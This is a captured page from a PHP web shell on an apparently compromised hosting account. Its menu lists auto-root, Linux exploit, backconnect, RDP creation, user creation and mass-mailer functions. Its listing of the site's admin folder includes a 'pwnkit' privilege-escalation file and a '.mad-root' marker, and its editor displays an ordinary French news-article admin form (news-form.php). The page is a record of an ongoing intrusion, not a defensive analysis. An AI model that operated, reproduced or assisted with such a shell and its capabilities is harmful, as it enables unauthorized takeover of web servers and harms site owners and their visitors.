Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.120.20.2 | : 216.73.216.49
Cant Read [ /etc/named.conf ]
8.5.7
verseaumee
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
verseaumee /
quaadraa /
admin /
views /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
contacts.php
2.22
KB
-rw----r--
dashboard.php
3.3
KB
-rw----r--
layout.php
4.61
KB
-rw----r--
login.php
1.73
KB
-rw----r--
news-edit.php
15.52
KB
-rw----r--
news-form.php
7.39
KB
-rw----r--
news.php
3.55
KB
-rw----r--
page-edit.php
16.18
KB
-rw----r--
pages.php
3
KB
-rw----r--
pwnkit
0
B
-rwxr-xr-x
settings.php
4.46
KB
-rw----r--
subsidiaries.php
2.1
KB
-rw----r--
subsidiary-edit.php
3.76
KB
-rw----r--
users.php
3.48
KB
-rw----r--
worksec.php
1.06
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : news-form.php
<form method="POST" action="/admin/news/<?= isset($article['id']) ? 'edit/'.$article['id'] : 'new' ?>" class="admin-form" enctype="multipart/form-data"> <input type="hidden" name="_csrf" value="<?= htmlspecialchars($csrf) ?>"> <?php if (!empty($errors)): ?> <div class="alert alert-error"> <?php foreach ($errors as $e): ?><p><?= htmlspecialchars($e) ?></p><?php endforeach; ?> </div> <?php endif; ?> <div class="form-cols"> <div class="form-col-main"> <div class="adm-field <?= isset($errors['title']) ? 'has-error' : '' ?>"> <label for="title">Titre *</label> <input type="text" id="title" name="title" required value="<?= htmlspecialchars($article['title'] ?? '') ?>" placeholder="Titre de l'actualité"> <?php if (isset($errors['title'])): ?><span class="field-error"><?= htmlspecialchars($errors['title']) ?></span><?php endif; ?> </div> <div class="adm-field <?= isset($errors['cover_image']) ? 'has-error' : '' ?>"> <label for="cover_image">Image de couverture *</label> <div class="file-upload-wrapper"> <input type="file" id="cover_image" name="cover_image" accept="image/*" onchange="previewFile(this)"> <div class="file-upload-design"> <span class="upload-icon">⇪</span> <span class="upload-text">Choisir une image ou glisser-déposer</span> </div> </div> <div id="image-preview" class="adm-image-preview"> <?php if (!empty($article['cover_image'])): ?> <img src="<?= htmlspecialchars($article['cover_image']) ?>" alt="Preview actuelle"> <p class="preview-info">Image actuelle</p> <?php else: ?> <div class="preview-placeholder">Aucun fichier sélectionné</div> <?php endif; ?> </div> <small style="color: #666; font-size: 0.7rem; margin-top: 8px; display: block;">Format recommandé : WebP ou JPG (1200x800px).</small> </div> <div class="adm-field"> <label for="excerpt">Extrait</label> <textarea id="excerpt" name="excerpt" rows="3" placeholder="Résumé court affiché dans les listes et cartes"><?= htmlspecialchars($article['excerpt'] ?? '') ?></textarea> </div> <div class="adm-field <?= isset($errors['content']) ? 'has-error' : '' ?>"> <label for="content">Contenu (HTML) *</label> <textarea id="content" name="content" rows="15" placeholder="<p>Contenu de l'article…</p>"><?= htmlspecialchars($article['content'] ?? '') ?></textarea> <?php if (isset($errors['content'])): ?><span class="field-error"><?= htmlspecialchars($errors['content']) ?></span><?php endif; ?> </div> </div> <div class="form-col-aside"> <div class="adm-field"> <label for="lang">Langue</label> <select id="lang" name="lang"> <option value="fr" <?= ($article['lang'] ?? 'fr') === 'fr' ? 'selected' : '' ?>>🇫🇷 Français</option> <option value="en" <?= ($article['lang'] ?? '') === 'en' ? 'selected' : '' ?>>🇬🇧 English</option> </select> </div> <div class="adm-field"> <label for="subsidiary_id">Filiale concernée</label> <select id="subsidiary_id" name="subsidiary_id"> <option value="">— Aucune —</option> <?php foreach ($subs as $s): ?> <option value="<?= $s['id'] ?>" <?= ($article['subsidiary_id'] ?? '') == $s['id'] ? 'selected' : '' ?>> <?= htmlspecialchars($s['name']) ?> </option> <?php endforeach; ?> </select> </div> <div class="adm-field"> <label class="checkbox-label"> <input type="checkbox" name="is_published" value="1" <?= !empty($article['is_published']) ? 'checked' : '' ?>> <span>Publier maintenant</span> </label> </div> <div class="adm-field"> <label class="checkbox-label"> <input type="checkbox" name="is_featured" value="1" <?= !empty($article['is_featured']) ? 'checked' : '' ?>> <span>Mettre à la une (bannière accueil)</span> </label> </div> <div class="adm-actions"> <button type="submit" class="adm-btn adm-btn-primary">Enregistrer l'article</button> <a href="/admin/news" class="adm-btn">Annuler</a> </div> </div> </div> </form> <script> function previewFile(input) { const preview = document.querySelector('#image-preview'); const file = input.files[0]; const reader = new FileReader(); reader.addEventListener("load", function () { preview.innerHTML = `<img src="${reader.result}" alt="Aperçu"><p class="preview-info" style="color:#C9A84C">Nouvelle image prête</p>`; }, false); if (file) { reader.readAsDataURL(file); } } </script> <style> .admin-form { max-width: 1100px; margin-bottom: 3rem; } .form-cols { display: grid; grid-template-columns: 1fr 280px; gap: 2rem; align-items: start; } .adm-field { margin-bottom: 1.5rem; } .adm-field label { display: block; font-size: .72rem; font-weight: 700; letter-spacing: .1em; text-transform: uppercase; color: #8e8e8e; margin-bottom: .4rem; } .file-upload-wrapper { position: relative; width: 100%; height: 60px; background: #1c1c1c; border: 1px dashed #3a3a3a; transition: border-color .2s; } .file-upload-wrapper:hover { border-color: #C9A84C; } .file-upload-wrapper input[type="file"] { position: absolute; width: 100%; height: 100%; opacity: 0; cursor: pointer; z-index: 2; } .file-upload-design { position: absolute; inset: 0; display: flex; align-items: center; justify-content: center; gap: 10px; pointer-events: none; } .upload-icon { font-size: 1.2rem; color: #C9A84C; } .upload-text { font-size: .85rem; color: #8e8e8e; } .adm-image-preview { margin-top: 15px; background: #111; border: 1px solid #1c1c1c; padding: 10px; text-align: center; } .adm-image-preview img { max-width: 100%; max-height: 250px; border: 1px solid #333; } .preview-info { font-size: 0.7rem; text-transform: uppercase; margin-top: 5px; color: #666; } .preview-placeholder { color: #444; font-size: 0.8rem; padding: 20px; } .adm-field input[type="text"], .adm-field textarea, .adm-field select { width: 100%; padding: .7rem 1rem; background: #1c1c1c; border: 1px solid #3a3a3a; color: #f0ece4; font-family: inherit; font-size: .92rem; transition: border-color .2s; } .adm-field input:focus, .adm-field textarea:focus, .adm-field select:focus { outline: none; border-color: #C9A84C; } .checkbox-label { display: flex; align-items: center; gap: .6rem; cursor: pointer; color: #8e8e8e; font-size: .88rem; } .checkbox-label input { accent-color: #C9A84C; width: 16px; height: 16px; } .adm-actions { display: flex; flex-direction: column; gap: .75rem; margin-top: 1.5rem; } .adm-btn { display: block; width: 100%; padding: .8rem; text-align: center; font-family: 'Barlow Condensed', sans-serif; font-size: .85rem; font-weight: 700; letter-spacing: .1em; text-transform: uppercase; border: 1px solid #3a3a3a; color: #8e8e8e; cursor: pointer; background: none; transition: all .2s; } .adm-btn:hover { border-color: #5e5e5e; color: #f0ece4; } .adm-btn-primary { background: #C9A84C; border-color: #C9A84C; color: #0d0d0d; } @media (max-width: 850px) { .form-cols { grid-template-columns: 1fr; } } </style>
Close